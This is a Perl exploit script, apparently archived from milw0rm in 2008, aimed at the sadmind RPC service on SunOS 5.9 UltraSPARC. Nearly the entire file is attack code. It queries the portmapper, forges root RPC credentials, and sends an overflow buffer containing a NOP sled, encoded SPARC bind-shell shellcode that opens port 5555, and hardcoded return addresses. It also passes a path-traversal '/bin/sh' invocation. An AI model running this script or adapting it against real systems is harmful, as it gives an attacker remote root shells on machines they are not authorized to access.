#!/usr/bin/perl
# holygrail2                                                                      #
#---------------------------------------------------------------------------------#
# SunOS 5.9 [UltraSPARC] sadmind Remote Root Exploit by KingCope in 2008          #
#                                                                                 #
# Most of work was shamelessy ripped from HD-Moore  and RISE-Security exploits!!! #
# Bug found by RISE-Security.                                                     #
# Sparc exploit by KingCope [kcope2@googlemail.com]                               #
# Maybe I will extend this to Solaris 8/10/11 in futura ??                        #
# thanks to alex,andi,adize ...                                                   #
#                                                                                 #
###################################################################################

use strict;
use POSIX;
use IO::Socket;
use IO::Select;

print "holygrail2 vs. SunOS 5.9 sadmind\nby kcope in 2008\nbinds a shell to port 5555\n";
my $host = $ARGV[0];

if ($host eq "") {
	print "usage: perl holygrail2.pl <address>\n";
	exit(-1);
}

# solaris_sparc_bind -  LPORT=5555 Size=232 Encoder=Sparc http://metasploit.com
my $payload =
"\x23\x32\xde\xd7\xa2\x14\x62\x6f\x20\xbf\xff\xff\x20\xbf\xff\xff".
"\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20".
"\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04".
"\x57\x50\xfe\x68\xff\xb6\xde\x77\x69\xad\xde\x7c\x01\xcb\x1e\x89".
"\xbb\xfc\xbe\x8f\x2b\xec\x9e\x8d\xce\x1c\xfe\x77\x5f\xcc\xdf\x7f".
"\x8f\xce\xa0\x87\x11\x10\xdf\xf2\xf1\x04\xfe\x4f\x11\x06\xbe\x5f".
"\x11\x6b\x7e\x6b\x03\x4f\x21\x83\xb7\x80\x01\xb3\x35\xb0\x61\x5b".
"\xa8\x60\x42\x93\x1b\x83\x3d\x5b\x09\x94\x62\x9a\xaf\x84\x42\x75".
"\x3e\x74\xa3\x8d\x91\x77\x1c\x75\x83\x62\x23\x8c\x37\x80\xe3\x87".
"\xb5\xb4\xc3\x7d\x28\x65\x24\x89\x9b\xa6\x9b\x71\x8f\xb8\xc4\x82".
"\x3d\xa9\x24\x8d\xd5\x6b\x84\x8c\x54\x7b\xe4\xb0\xc9\xab\xc4\xc4".
"\xf8\xf3\xfb\x28\x2d\x0f\xbb\x28\x59\x15\x04\xc3\x40\x21\x5c\x49".
"\x22\x22\x7c\x03\x01\x41\xa2\x01\xd5\x75\xfb\xa5\x47\x5a\x5b\xcd".
"\x87\xa6\x24\x3d\x97\xfa\xe4\x45\xd7\xde\xa4\x49\x5a\x30\xfb\x8a".
"\xcb\xe0\xdb\xe4\xec\x01\x1b\xf4";

my $patchaddr = pack("N", 0xffbf83d8);
my $retaddr = pack("N", 0xffbf88e0);

sub nonblock {
    my ($fd) = @_;
    my $flags = fcntl($fd, F_GETFL,0);
    fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
}

sub rpc_read {
    my ($s) = @_;
    my $sel = IO::Select->new($s);
    my $res;
    my @fds = $sel->can_read(4);
    foreach (@fds) { $res .= <$s>; }
    return $res;
}

sub rpc_getport {
    my ($target_host, $target_port, $prog, $vers) = @_;
    
    my $s = rpc_socket($target_host, $target_port);

    my $portmap_req =
        
        pack("L", rand() * 0xffffffff) . # XID
        "\x00\x00\x00\x00".              # Call
        "\x00\x00\x00\x02".              # RPC Version
        "\x00\x01\x86\xa0".              # Program Number  (PORTMAP)
        "\x00\x00\x00\x02".              # Program Version (2)
        "\x00\x00\x00\x03".              # Procedure (getport)
        ("\x00" x 16).                   # Credentials and Verifier
        pack("N", $prog) .
        pack("N", $vers).
        pack("N", 0x11).                 # Protocol: UDP
        pack("N", 0x00);                 # Port: 0

    print $s $portmap_req;

    my $r = rpc_read($s);
    close ($s);
    
    if (length($r) == 28) 
    { 
        my $prog_port = unpack("N",substr($r, 24, 4));
        return($prog_port); 
    }
    
    return undef;
}

sub rpc_socket {
    my ($target_host, $target_port) = @_;
    my $s = IO::Socket::INET->new
    (
        PeerAddr => $target_host, 
        PeerPort => $target_port,
        Proto    => "udp",
        Type     => SOCK_DGRAM
    );

    if (! $s)
    {
        print "\nError: could not create socket to target: $!\n";
        exit(0);
    }

    select($s); $|++;
    select(STDOUT); $|++;
    nonblock($s);
    return($s);
}

sub rpc_sadmin_expl {
    my ($hostname, $command, $first) = @_;
    my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));    
    
    my $rpc =
        pack("L", rand() * 0xffffffff) . # XID
        "\x00\x00\x00\x00".              # Call
        "\x00\x00\x00\x02".              # RPC Version
        "\x00\x01\x87\x88".              # Program Number  (SADMIND)
        "\x00\x00\x00\x0a".              # Program Version (10)
        "\x00\x00\x00\x01".              # Procedure
        "\x00\x00\x00\x01";              # Credentials (UNIX)
                                         # Auth Length is filled in

    # pad it up to multiples of 4
    my $rpc_hostname = $hostname;
    while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
    
    my $rpc_auth =
        # Time Stamp
        pack("N", time() + 20001) .

        # Machine Name
        pack("N", length($hostname)) . $rpc_hostname .

        "\x00\x00\x00\x00".              # UID = 0
        "\x00\x00\x00\x00".              # GID = 0
        "\x00\x00\x00\x00";              # No Extra Groups  


    $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);

    my $fp = pack("N", 0xffbf9108);
    my $buf1 = "\x90" x (2050-length($payload)-500) . $payload . "\x90\x90" . "\x90" x 500 . "CC" . $fp . $fp . $retaddr x 100;

    if ($first eq 1) {
	$buf1 = "\x90" x 50;
    }

    while (length($buf1) % 4 != 0) { $buf1 .= "\x00" }

    my $header =
    
    # Another Time Stamp
    reverse(pack("L", time() + 20005)) .

    "\x00\x07\x45\xdf".
    
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
    
    "\x7f\x00\x00\x01".                 # 127.0.0.1
    "\x00\x01\x87\x88".                 # SADMIND
    
    "\x00\x00\x00\x0a\x00\x00\x00\x04".
    
    "\x7f\x00\x00\x01".                 # 127.0.0.1
    "\x00\x01\x87\x88".                 # SADMIND

    "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00".

    "\x00\x00\x00\x3b". $packed_host.

    "\x00\x00\x00\x00\x06" . "system".
    
    "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
    
    # Append Body Length ^-- Here

    my $body = 
    "\x00\x00\x00\x0e". "ADM_FW_VERSION".
    "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
    "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
    
    "\x00\x00\x00\x08". "ADM_LANG".
    "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
    "\x00\x01". "C" . 
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    
    "\x00\x00\x00\x0d". "ADM_REQUESTID".
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
    "00009:000000000:0"."\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00".

    "\x00\x00\x00\x09". "ADM_CLASS".
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
    "\x00\x00\x00\x06" . "system" .
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    
    
    "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
    "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
    "\x00\x00\x00\x03". "2.1".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    
    
    "\x00\x00\x00\x0a" . "ADM_METHOD" . 
    "\x00\x00\x00\x00\x00\x09" . pack("N", length($buf1)+1) . pack("N", length($buf1)) . $buf1 . 
    "\x00\x00\x00\x00\x00\x00\x00\x00".
    
    "\x00\x00\x00\x08". "ADM_HOST" .
    "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
    $packed_host.

    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
    "\x00\x00\x00\x00\x09".
    
    pack("N", length($hostname) + 1) .
    pack("N", length($hostname)) .
    $rpc_hostname .
    "\x00\x00\x00\x00". "\x00\x00\x00\x00".
    
    "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00".
    
    "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
    "\x00\x00\x00\x00\x00".
    "\x00\x09\x00\x00\x00\x1c".
    "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    
    
    "\x00\x00\x00\x09" . "ADM_FENCE" .
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
    "\x00\x00\x03\x00\x00\x00\x02" . "-c" .
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
    "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".

    $command . ("\x00" x (512 - length($command))).

    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
    "netmgt_endofargs";

    my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;

    return($res);

}

$|=1;

my $portmap = "111";
for (my $i=1;$i<3;$i++) {
my $target_port = rpc_getport($host, $portmap, 100232, 10);
if (! $target_port)
{
    print STDERR "Error: could not determine port used by sadmind\n";
    exit(0);
}

my $s = rpc_socket($host, $target_port);
my $x = rpc_sadmin_expl("localhost", "foo", $i);
print $s $x;
my $r = rpc_read($s);
close ($s);
}

# milw0rm.com [2008-10-19]
